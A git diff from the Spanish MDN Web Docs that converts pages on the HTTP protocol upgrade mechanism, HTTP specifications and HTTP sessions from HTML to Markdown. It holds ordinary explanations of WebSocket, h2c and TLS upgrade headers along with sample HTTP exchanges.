-Content-Length: 31374
-
-<html>
-  ...
-</html>
-
- -

If the server does support TLS upgrade and wishes to permit the upgrade, it responds with the "101 Switching Protocols" response code, like this:

- -
HTTP/1.1 101 Switching Protocols
-Upgrade: TLS/1.0, HTTP/1.1
- -

Once the TLS handshake is complete, the original request will be responded to as normal.

- -

Mejora obligatoria

- -

To request a mandatory upgrade to TLS—that is, to upgrade and fail the connection if the upgrade is not successful—your first request must be an {{HTTPMethod("OPTIONS")}} request, like this:

- -
OPTIONS * HTTP/1.1
-Host: destination.server.ext
-Upgrade: TLS/1.0
-Connection: Upgrade
- -

If the upgrade to TLS succeeds, the server will respond with "101 Switching Protocols" as described in the previous section. If the upgrade fails, the HTTP/1.1 connection will fail.

- -

Mejora a TLS iniciada por el servidor

- -

This works roughly the same way as a client-initiated upgrade; an optional upgrade is requested by adding the {{HTTPHeader("Upgrade")}} header to any message. A mandatory upgrade, though, works slightly differently, in that it requests the upgrade by replying to a message it receives with the {{HTTPStatus(426)}} status code, like this:

- -
HTTP/1.1 426 Upgrade Required
-Upgrade: TLS/1.1, HTTP/1.1
-Connection: Upgrade
-
-<html>
-... Human-readable HTML page describing why the upgrade is required
-    and what to do if this text is seen ...
-</html>
- -

If the client receiving the "426 Upgrade Required" response is willing and able to upgrade to TLS, it should then start the same process covered above under Client-initiated upgrade to TLS.

- -

Referencias

- -
    -
  • WebSocket API
    • -
  • HTTP
    • -
  • Especificaciones y RFCs: -
      -
    • {{RFC(2616)}}
      • -
    • {{RFC(6455)}}
      • -
    • {{RFC(2817)}}
      • -
    • {{RFC(7540)}}
      • -
    -
    • -
diff --git a/files/es/web/http/protocol_upgrade_mechanism/index.md b/files/es/web/http/protocol_upgrade_mechanism/index.md new file mode 100644 index 00000000000000..6dcb2b4f200ef9 --- /dev/null +++ b/files/es/web/http/protocol_upgrade_mechanism/index.md @@ -0,0 +1,225 @@ +--- +title: Mecanismo de actualización del protocolo +slug: Web/HTTP/Protocol_upgrade_mechanism +translation_of: Web/HTTP/Protocol_upgrade_mechanism +original_slug: Web/HTTP/mecanismo_actualizacion_protocolo +--- +{{HTTPSidebar}} + +El protocolo [HTTP](/en/HTTP "en/HTTP") posee un mecanismo especifico para permitir que una conexión de comunicación ya establecida, pueda actualizar su protocolo a un nuevo protocolo, incluso si es incompatible. Este documento muestra este mecanismo y presenta ejemplos de posibles escenarios en los que se puede usar. + +Este mecanismo, siempre es iniciado por el cliente (con la única excepción de que el servidor use: [requerida actualización a TLS](#server-initiated_upgrade_to_tls)), y el servidor puede aceptar o rechazar el cambio al nuevo protocolo. Esto hace posible comenzar una conexión usando un protocolo de uso común, como puede ser HTTP/1.1, y posteriormente pedir un cambio de protocolo a HTTP/2.0 o incluso WebSockets. + +## Acuerdo de conexión (handshake) + +Las actualizaciones del protocolo de comunicación son siempre iniciadas por el cliente; no hay un mecanismo establecido para que el servidor pida un cambio de protocolo. Cuando el cliente desea una actualización a un nuevo protocolo, lo hace mandando una petición normal al servidor con cualquier método ({{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, etc.). La petición ha de configurarse de manera especial, para que incluya en ella, la petición de actualización del protocolo. + +Específicamente la petición ha de incluir las dos siguientes cabeceras: + +- [`Connection: Upgrade`](/en-US/docs/Web/HTTP/Headers/Connection) + - : La cabecera de conexión (`Connection`) ha de tener el valor `"Upgrade"`, para indicar que se está pidiendo una actualización del protocolo. +- [`Upgrade: protocols`](/en-US/docs/Web/HTTP/Headers/Upgrade) + - : La cabecera de actualización (`Upgrade`) indica los protocolos deseados, en orden de preferencia, separados por comas. + +Puede que sean necesarias otras cabeceras, dependiendo del protocolo que se pida.; por ejemplo: las actualizaciones a [WebSocket](/es/docs/Web/API/WebSocket) necesitan cabeceras adicionales para definir la configuración de la conexión, así como para detalles de la seguridad. Para más detalles, lea la sección: [Upgrading to a WebSocket connection](#upgrading_to_a_websocket_connection). + +El servidor, puede negarse a la actualización en este caso. Y este simplemente ignora la cabecera de actualización (`"Upgrade"`) y responde con un estado normal, ( `"200 OK"` si todo es correcto, o `30x` si quiere hacer una redirección, o `40x` ó `50x` si no puede responder con el recurso requerido) — O puede aceptar la actualización del protocolo de comunicación. En este caso, responde con un código `"101 Switching Protocols"` y con una cabecera `Upgrade` que indica el protocolo elegido. + +Justo después de enviar el código de estado `"101 Switching Protocols"` se procederá a realizar el acuerdo de conexión (corresponde con el termino: 'handshake' en inglés). Si el nuevo protocolo lo necesitase, el servidor, enviaría una la respuesta a la petición inicial (la que contenía la cabecera de `"Upgrade"` ) , de acuerdo a las reglas del protocolo. + +## El código de estado 101 + +El código de estado {{HTTPStatus(101)}} se manda en respuesta a una petición que contenga la cabecera de `"Upgrade"` para indicar que el emisor de la petición desea actualizar el protocolo de comunicación. Si se responde con el código de estado `"101 Switching Protocols"`, se han de incluir también las cabeceras `Connection` y `Upgrade` para definir el protocolo elegido. Más adelante en el texto se dan más detalles del funcionamiento de este mecanismo y ejemplos. + +Se puede utilizar el mecanismo de actualización del protocolo para pasar de una conexión en HTTP/1.1 a una conexión con HTTP/2, pero no se permite cambiar el protocolo en el otro sentido. De hecho, el código de estado `"101 Switching Protocols"`, no está incluido en HTTP/2, ya que HTTP/2 no posee el mecanismo de actualización de protocolo. + +## Usos frecuentes del mecanismo de actualización de protocolo + +A continuación se presentan los casos más frecuentes del mecanismo de actualización de protocolo, mediante el uso de la cabecera `"Upgrade"`. + +### Actualización a una conexión con HTTP/2 + +El procedimiento estándar, es iniciar una conexión usando HTTP/1.1, debido a su amplio uso. Y a continuación, hacer una petición de actualización de protocolo, a HTTP/2. De esta manera, se tiene una conexión de comunicaciones, incluso si el servidor no soporta protocolo HTTP/2. De todas formas, únicamente es posible actualizar el protocolo, a una versión de HTTP/2 no segura (no encriptada). Esto se realiza indicando el protocolo deseado como: `h2c`, que indica "HTTP/2 Cleartext". Además es necesario que se defina en los campos de cabecera las propiedades `HTTP2-Settings`. + + GET / HTTP/1.1 + Host: destination.server.ext + Connection: Upgrade, HTTP2-Settings + Upgrade: h2c + HTTP2-Settings: base64EncodedSettings + +Aquí, `base64EncodedSettings` es una propiedad de HTTP/2 `"SETTINGS"` del contenido de la trama que se expresa en formato `base64url`, seguido de un carácter de igual, `"="`, omitido aquí para que se pudiera incluir en esta cabecera expresada en texto. + +> **Nota:** El formato [base64url](https://tools.ietf.org/html/rfc4648#section-5) fno es el mismo que el formato estándar Base64. La única diferencia es que para asegurar que la cadena de caracteres es segura para que pueda usarse con URLs y nombres de archivos, los caracteres 62 y 63 en el alfabeto de este formato se cambian de : `"+"` y `"/"` a: `"-"` (menos) y `"_"` respectivamente. + +Si el servidor no puede hacer el cambio a HTTP/2, este responderá en HTTP/1 como si fuera una petición normal (con los códigos: `"200 OK"` si todo es correcto, o `30x` si quiere hacer una redirección, o `40x` ó `50x` si no puede responder con el recurso pedido). Así una petición de una página que exista será respondida con `"HTTP/1.1 200 OK"` seguido del resto de la cabecera de la página. Si el servidor, si que puede cambiar al protocolo HTTP/2 , la respuesta será: "`HTTP/1.1 101 Switching Protocols"`. A continuación, se presenta un ejemplo de una posible respuesta, a una petición de actualización a HTTP/2. + + HTTP/1.1 101 Switching Protocols + Connection: Upgrade + Upgrade: h2c + + [standard HTTP/2 server connection preface, etc.] + +A continuación de la línea en blanco, que sigue al final de la cabecera de respuesta; el servidor, indicará los parámetros ("`SETTINGS"`) de la nueva comunicación con HTTP/2. + +### Mejorar a una conexión WebSocket + +By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the [WebSocket API](/es/docs/Web/API/WebSocket), or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as: + +```js +webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol"); +``` + +The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you. + +> **Nota:** You can also use the `"wss://"` URL scheme to open a secure WebSocket connection. + +If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows: + + Connection: Upgrade + Upgrade: websocket + +### Cabeceras específicas de WebSocket + +The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other. + +#### {{HTTPHeader("Sec-WebSocket-Extensions")}} + +Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one `Sec-WebSocket-Extension` header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header. + + Sec-WebSocket-Extensions: extensions + +- `extensions` + - : A comma-separated list of extensions to request (or agree to support). These should be selected from the [IANA WebSocket Extension Name Registry](https://www.iana.org/assignments/websocket/websocket.xml#extension-name). Extensions which take parameters do so using semicolon delineation. + +For example: + + Sec-WebSocket-Extensions: superspeed, colormode; depth=16 + +#### {{HTTPHeader("Sec-WebSocket-Key")}} + +Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this _does not provide security_. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection." + +This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method. + + Sec-WebSocket-Key: key + +- `key` + - : The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade reponse to you. + +The server's response's `Sec-WebSocket-Accept` header will have a value computed based upon the specified `key`. + +#### {{HTTPHeader("Sec-WebSocket-Protocol")}} + +The `Sec-WebSocket-Protocol` header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a `Sec-WebSocket-Protocol` header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header. + + Sec-WebSocket-Protocol: subprotocols + +- `subprotocols` + - : A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the [IANA WebSocket Subprotocol Name Registry](https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name) or may be a custom name jointly understood by the client and the server. + +#### {{HTTPHeader("Sec-WebSocket-Version")}} + +##### Encabezado de petición + +Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end. + + Sec-WebSocket-Version: version + +- `version` + - : The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the [IANA WebSocket Version Number Registry](https://www.iana.org/assignments/websocket/websocket.xml#version-number). The most recent final version of the WebSocket protocol is version 13. + +##### Encabezado de respuesta + +If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a `Sec-WebSocket-Version` header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no `Sec-WebSocket-Version` header is included in the response. + + Sec-WebSocket-Version: supportedVersions + +- `supportedVersions` + - : A comma-delineated list of the WebSocket protocol versions supported by the server. + +### Cabeceras exclusivas de respuesta + +The response from the server may include these. + +#### {{HTTPHeader("Sec-WebSocket-Accept")}} + +Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the repsonse headers. + + Sec-WebSocket-Accept: hash + +- `hash` + - : If a `Sec-WebSocket-Key` header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then [base64](/es/docs/Web/API/WindowBase64/Base64_encoding_and_decoding) encoded to obtain the value of this property. + +### Mejora a HTTP sobre TLS iniciada por el cliente + +You can also upgrade an HTTP/1.1 connection to TLS/1.0. The main advantages to this are that you can avoid using URL redirection from "http\://" to "https\://" on the server and you can easily use TLS on virtual hosts. This may, however, introduce problems with proxy servers. + +Upgrading an HTTP connection to use {{Glossary("TLS")}} uses the {{HTTPHeader("Upgrade")}} header with the token `"TLS/1.0"`. If the switch is made successfully, the original request (which included `Upgrade`) is completed as normal, but on the TLS connection. + +The request to TLS can be made either optionally or mandatorily. + +#### Mejora opcional + +To upgrade to TLS optionally (that is, allowing the connection to continue in cleartext if the upgrade to TLS fails), you simply use the `Upgrade` and {{HTTPHeader("Connection")}} headers as expected. For example, given the original request: + + GET http://destination.server.ext/secretpage.html HTTP/1.1 + Host: destination.server.ext + Upgrade: TLS/1.0 + Connection: Upgrade + +If the server _does not_ support TLS upgrade, or is unable to upgrade to TLS at the time, it responds with a standard HTTP/1.1 response, such as: + + HTTP/1.1 200 OK + Date: Thu, 17 Aug 2017 21:07:44 GMT + Server: Apache + Last-Modified: Thu, 17 Aug 2017 08:30:15 GMT + Content-Type: text/html; charset=utf-8 + Content-Length: 31374 + + + ... + + +If the server _does_ support TLS upgrade and wishes to permit the upgrade, it responds with the `"101 Switching Protocols"` response code, like this: + + HTTP/1.1 101 Switching Protocols + Upgrade: TLS/1.0, HTTP/1.1 + +Once the TLS handshake is complete, the original request will be responded to as normal. + +#### Mejora obligatoria + +To request a mandatory upgrade to TLS—that is, to upgrade and fail the connection if the upgrade is not successful—your first request must be an {{HTTPMethod("OPTIONS")}} request, like this: + + OPTIONS * HTTP/1.1 + Host: destination.server.ext + Upgrade: TLS/1.0 + Connection: Upgrade + +If the upgrade to TLS succeeds, the server will respond with `"101 Switching Protocols"` as described in the previous section. If the upgrade fails, the HTTP/1.1 connection will fail. + +### Mejora a TLS iniciada por el servidor + +This works roughly the same way as a client-initiated upgrade; an optional upgrade is requested by adding the {{HTTPHeader("Upgrade")}} header to any message. A mandatory upgrade, though, works slightly differently, in that it requests the upgrade by replying to a message it receives with the {{HTTPStatus(426)}} status code, like this: + + HTTP/1.1 426 Upgrade Required + Upgrade: TLS/1.1, HTTP/1.1 + Connection: Upgrade + + + ... Human-readable HTML page describing why the upgrade is required + and what to do if this text is seen ... + + +If the client receiving the `"426 Upgrade Required"` response is willing and able to upgrade to TLS, it should then start the same process covered above under [Client-initiated upgrade to TLS](#client-initiated_upgrade_to_tls). + +## Referencias + +- [WebSocket API](/es/docs/Web/API/WebSocket) +- [HTTP](/es/docs/Web/HTTP) +- Especificaciones y RFCs: + + - {{RFC(2616)}} + - {{RFC(6455)}} + - {{RFC(2817)}} + - {{RFC(7540)}} diff --git a/files/es/web/http/resources_and_specifications/index.html b/files/es/web/http/resources_and_specifications/index.html deleted file mode 100644 index ccdaeb3f76e83e..00000000000000 --- a/files/es/web/http/resources_and_specifications/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: Recursos y especificaciones de HTTP -slug: Web/HTTP/Resources_and_specifications -translation_of: Web/HTTP/Resources_and_specifications -original_slug: Web/HTTP/recursos_y_especificaciones ---- -
{{HTTPSidebar}}
- -

HTTP se especificó por primera vez a principios de los 90s. Diseñado con extensibilidad en mente, ha visto numerosas adiciones a lo largo de los años; esto lleva a que su especificación se disemine a través de númerosos documentos (en medio de extensiones experimentales abandonadas). Esta página presenta una lista de los recursos relevantes sobre HTTP:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationTitleStatus
{{rfc(7230)}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and RoutingProposed Standard
{{rfc(7231)}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentProposed Standard
{{rfc(7232)}}Hypertext Transfer Protocol (HTTP/1.1): Conditional RequestsProposed Standard
{{rfc(7233)}}Hypertext Transfer Protocol (HTTP/1.1): Range RequestsProposed Standard
{{rfc(7234)}}Hypertext Transfer Protocol (HTTP/1.1): CachingProposed Standard
{{rfc(5861)}}HTTP Cache-Control Extensions for Stale ContentInformational
{{rfc(8246)}}HTTP Immutable ResponsesProposed Standard
{{rfc(7235)}}Hypertext Transfer Protocol (HTTP/1.1): AuthenticationProposed Standard
{{rfc(6265)}}HTTP State Management Mechanism
- Defines Cookies		Proposed Standard
Draft specCookie PrefixesIETF Draft
Draft specSame-Site CookiesIETF Draft
Draft specDeprecate modification of 'secure' cookies from non-secure originsIETF Draft
{{rfc(2145)}}Use and Interpretation of HTTP Version NumbersInformational
{{rfc(6585)}}Additional HTTP Status CodesProposed Standard
{{rfc(7538)}}The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)Proposed Standard
{{rfc(7725)}}An HTTP Status Code to Report Legal ObstaclesOn the standard track
{{rfc(2397)}}The "data" URL schemeProposed Standard
{{rfc(3986)}}Uniform Resource Identifier (URI): Generic SyntaxInternet Standard
{{rfc(5988)}}Web Linking
- Defines the {{HTTPHeader("Link")}} header		Proposed Standard
Experimental specHypertext Transfer Protocol (HTTP) Keep-Alive HeaderInformational (Expired)
Draft specHTTP Client HintsIETF Draft
{{rfc(7578)}}Returning Values from Forms: multipart/form-dataProposed Standard
{{rfc(6266)}}Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)Proposed Standard
{{rfc(2183)}}Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field
- Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.		Proposed Standard
{{rfc(7239)}}Forwarded HTTP ExtensionProposed Standard
{{rfc(6455)}}The WebSocket ProtocolProposed Standard
{{rfc(5246)}}The Transport Layer Security (TLS) Protocol Version 1.2
- This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.		Proposed Standard
Draft specThe Transport Layer Security (TLS) Protocol Version 1.3
- Once ready, this protocol will supersede TLS 1.2.		IETF Draft
{{rfc(2817)}}Upgrading to TLS Within HTTP/1.1Proposed Standard
{{rfc(7540)}}Hypertext Transfer Protocol Version 2 (HTTP/2)Proposed Standard
{{rfc(7541)}}HPACK: Header Compression for HTTP/2On the standard track
{{rfc(7838)}}HTTP Alternative ServicesOn the standard track
{{rfc(7301)}}Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension
- Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.		Proposed Standard
{{rfc(6454)}}The Web Origin ConceptProposed Standard
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}Cross-Origin Resource Sharing{{Spec2("Fetch")}}
{{rfc(7034)}}HTTP Header Field X-Frame-OptionsInformational
{{rfc(6797)}}HTTP Strict Transport Security (HSTS)Proposed Standard
{{SpecName("Upgrade Insecure Requests")}}Upgrade Insecure Requests{{Spec2("Upgrade Insecure Requests")}}
{{SpecName("CSP 1.0")}}Content Security Policy 1.0
- CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard		{{Spec2("CSP 1.0")}}
Microsoft documentSpecifying legacy document modes*
- Defines X-UA-Compatible		Note
{{rfc(5689)}}HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)
- These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.		Proposed Standard
{{rfc(2324)}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)April 1st joke spec
{{rfc(7168)}}The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)April 1st joke spec
{{SpecName("HTML WHATWG")}}HTML
- Defines extensions of HTTP for Server-Sent Events		{{Spec2("HTML WHATWG")}}
Tracking Preference ExpressionDNT headerEditor's draft / Candidate recommendation
Reporting APIReport-To headerDraft
- -

diff --git a/files/es/web/http/resources_and_specifications/index.md b/files/es/web/http/resources_and_specifications/index.md new file mode 100644 index 00000000000000..095fa942fb7b51 --- /dev/null +++ b/files/es/web/http/resources_and_specifications/index.md @@ -0,0 +1,58 @@ +--- +title: Recursos y especificaciones de HTTP +slug: Web/HTTP/Resources_and_specifications +translation_of: Web/HTTP/Resources_and_specifications +original_slug: Web/HTTP/recursos_y_especificaciones +--- +{{HTTPSidebar}} + +HTTP se especificó por primera vez a principios de los 90s. Diseñado con extensibilidad en mente, ha visto numerosas adiciones a lo largo de los años; esto lleva a que su especificación se disemine a través de númerosos documentos (en medio de extensiones experimentales abandonadas). Esta página presenta una lista de los recursos relevantes sobre HTTP: + +| Specification | Title | Status | +| ------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- | +| {{rfc(7230)}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | Proposed Standard | +| {{rfc(7231)}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | Proposed Standard | +| {{rfc(7232)}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | Proposed Standard | +| {{rfc(7233)}} | Hypertext Transfer Protocol (HTTP/1.1): Range Requests | Proposed Standard | +| {{rfc(7234)}} | Hypertext Transfer Protocol (HTTP/1.1): Caching | Proposed Standard | +| {{rfc(5861)}} | HTTP Cache-Control Extensions for Stale Content | Informational | +| {{rfc(8246)}} | HTTP Immutable Responses | Proposed Standard | +| {{rfc(7235)}} | Hypertext Transfer Protocol (HTTP/1.1): Authentication | Proposed Standard | +| {{rfc(6265)}} | HTTP State Management Mechanism _Defines Cookies_ | Proposed Standard | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00) | Cookie Prefixes | IETF Draft | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00) | Same-Site Cookies | IETF Draft | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01) | Deprecate modification of 'secure' cookies from non-secure origins | IETF Draft | +| {{rfc(2145)}} | Use and Interpretation of HTTP Version Numbers | Informational | +| {{rfc(6585)}} | Additional HTTP Status Codes | Proposed Standard | +| {{rfc(7538)}} | The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect) | Proposed Standard | +| {{rfc(7725)}} | An HTTP Status Code to Report Legal Obstacles | On the standard track | +| {{rfc(2397)}} | The "data" URL scheme | Proposed Standard | +| {{rfc(3986)}} | Uniform Resource Identifier (URI): Generic Syntax | Internet Standard | +| {{rfc(5988)}} | Web Linking _Defines the {{HTTPHeader("Link")}} header_ | Proposed Standard | +| [Experimental spec](https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html) | Hypertext Transfer Protocol (HTTP) Keep-Alive Header | Informational (Expired) | +| [Draft spec](http://httpwg.org/http-extensions/client-hints.html) | HTTP Client Hints | IETF Draft | +| {{rfc(7578)}} | Returning Values from Forms: multipart/form-data | Proposed Standard | +| {{rfc(6266)}} | Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP) | Proposed Standard | +| {{rfc(2183)}} | Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field _Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages._ | Proposed Standard | +| {{rfc(7239)}} | Forwarded HTTP Extension | Proposed Standard | +| {{rfc(6455)}} | The WebSocket Protocol | Proposed Standard | +| {{rfc(5246)}} | The Transport Layer Security (TLS) Protocol Version 1.2 _This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol._ | Proposed Standard | +| [Draft spec]() | The Transport Layer Security (TLS) Protocol Version 1.3 _Once ready, this protocol will supersede TLS 1.2._ | IETF Draft | +| {{rfc(2817)}} | Upgrading to TLS Within HTTP/1.1 | Proposed Standard | +| {{rfc(7540)}} | Hypertext Transfer Protocol Version 2 (HTTP/2) | Proposed Standard | +| {{rfc(7541)}} | HPACK: Header Compression for HTTP/2 | On the standard track | +| {{rfc(7838)}} | HTTP Alternative Services | On the standard track | +| {{rfc(7301)}} | Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension _Used to negotiate HTTP/2 at the transport to save an extra request/response round trip._ | Proposed Standard | +| {{rfc(6454)}} | The Web Origin Concept | Proposed Standard | +| {{SpecName('Fetch', '#cors-protocol', 'CORS')}} | Cross-Origin Resource Sharing | {{Spec2("Fetch")}} | +| {{rfc(7034)}} | HTTP Header Field X-Frame-Options | Informational | +| {{rfc(6797)}} | HTTP Strict Transport Security (HSTS) | Proposed Standard | +| {{SpecName("Upgrade Insecure Requests")}} | Upgrade Insecure Requests | {{Spec2("Upgrade Insecure Requests")}} | +| {{SpecName("CSP 1.0")}} | Content Security Policy 1.0 _CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard_ | {{Spec2("CSP 1.0")}} | +| [Microsoft document]() | Specifying legacy document modes\* _Defines X-UA-Compatible_ | Note | +| {{rfc(5689)}} | HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV) _These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays._ | Proposed Standard | +| {{rfc(2324)}} | Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0) | April 1st joke spec | +| {{rfc(7168)}} | The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA) | April 1st joke spec | +| {{SpecName("HTML WHATWG")}} | HTML _Defines extensions of HTTP for Server-Sent Events_ | {{Spec2("HTML WHATWG")}} | +| [Tracking Preference Expression](https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html) | DNT header | Editor's draft / Candidate recommendation | +| [Reporting API](http://wicg.github.io/reporting/) | `Report-To` header | Draft | diff --git a/files/es/web/http/session/index.html b/files/es/web/http/session/index.html deleted file mode 100644 index 2937d68c273c6b..00000000000000 --- a/files/es/web/http/session/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: Una típica sesión de HTTP -slug: Web/HTTP/Session -translation_of: Web/HTTP/Session -original_slug: Web/HTTP/Sesión ---- -
{{HTTPSidebar}}
- -

En los protocolos basados en el modelo cliente-servidor, como es el caso del HTTP, una sesión consta de tres fases:

- -
    -
  1. El cliente establece una conexión TCP (o la conexión correspondiente si la capa de transporte corresponde a otro protocolo).
    2. -
  2. El cliente manda su petición, y espera por la respuesta.
    3. -
  3. El servidor procesa la petición, y responde con un código de estado y los datos correspondientes.
    4. -
- -

A partir del protocolo HTTP/1.1 la conexión, no se cierra al finalizar la tercera fase, y el cliente puede continuar realizando peticiones. Esto significa que la segunda y tercera fase, pueden repetirse cualquier número de veces.

- -

Estableciendo una conexión

- -

En un protocolo cliente servidor, es siempre el cliente el que establece la conexión. Iniciar una conexión en HTTP, implica iniciar una conexión en el protocolo correspondiente a la capa de comunicación subyacente, que normalmente es TCP.

- -

En TCP el puerto por defecto, para un servidor HTTP en un computador, es el puerto 80. Se pueden usar otros puertos como el 8000 o el 8080. La URL de la página pedida contiene tanto el nombre del dominio, como el número de puerto, aunque este puede ser omitido, si se trata del puerto 80. Véase la referencia de Identificación de recursos en la Web para más detalles.

- -
Nota: El modelo cliente-servidor no permite que el servidor mande datos al cliente sin una petición explicita. Como solución parcial a este problema, los desarrolladores web, usan varias técnicas, como hacer un ping al servidor periódicamente, mediante {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} APIs, o usar la HTML WebSockets API o protocolos similares.
- -

Mandando una petición

- -

Una vez la conexión está establecida, el cliente, puede mandar una petición de datos (normalmente es un navegador, u otra cosa, como una 'araña' ( o 'crawler' en inglés), un sistema de indexación automático de páginas web). La petición de datos de un cliente HTTP, consiste en directivas de texto, separadas mediante CRLF (retorno de carro, y cambio de linea), y se divide en tres partes:

- -
    -
  1. La primera parte, consiste en una linea, que contiene un método, seguido de sus parámetros: -
      -
    • la dirección del documento pedido: por ejemplo su URL completa, sin indicar el protocolo o el nombre del dominio.
      • -
    • la versión del protocolo HTTP
      • -
    -
    2. -
  2. La siguiente parte, está formada por un bloque de líneas consecutivas, que representan las cabeceras de la petición HTTP, y dan información al servidor, sobre que tipo de datos es apropiado (como qué lenguaje usar, o el tipo MIME a usar), u otros datos que modifiquen su comportamiento (como que no envié la respuesta si ya está cacheada). Estas cabeceras HTTP forman un bloque que acaba con una línea en blanco.
    3. -
  3. La parte final es un bloque de datos opcional, que puede contener más datos para ser usados por el método POST.
    4. -
- -

Ejemplo de peticiones

- -

Si queremos una página web, como por ejemplo: http://developer.mozilla.org/, y además le indicamos al servidor que se preferiría la página en Francés, si fuera posible:

- -
GET / HTTP/1.1
-Host: developer.mozilla.org
-Accept-Language: fr
-
-
- -

Observe la línea vacía al final, que separa el bloque de datos, del bloque de cabecera. Como no existe el campo Content-Length en la cabecera de HTTP, el bloque de datos está vacío, y ahí está el fin de la cabecera, permitiendo al servidor procesar la petición en el momento que recibe la línea vacía.

- -

Otro ejemplo, en el caso del envío de los datos de un formulario, la trama es:

- -
POST /contact_form.php HTTP/1.1
-Host: developer.mozilla.org
-Content-Length: 64
-Content-Type: application/x-www-form-urlencoded
-
-name=Juan%20Garcia&request=Envieme%20uno%20de%20sus%20catalogos
-
- -

Métodos de peticiones

- -

HTTP define un conjunto de métodos de peticiones en los que se indican las acciones que se piden realizar al recibir un conjunto de datos. A pesar de que pueden referirse como 'nombres', estos métodos de petición, son denominados a veces como 'verbos' de HTTP. La peticiones más comunes son GET y POST:

- -
    -
  • El método {{HTTPMethod("GET")}} hace una petición de un recurso específico. Las peticiones con GET unicamente hacen peticiones de datos.
    • -
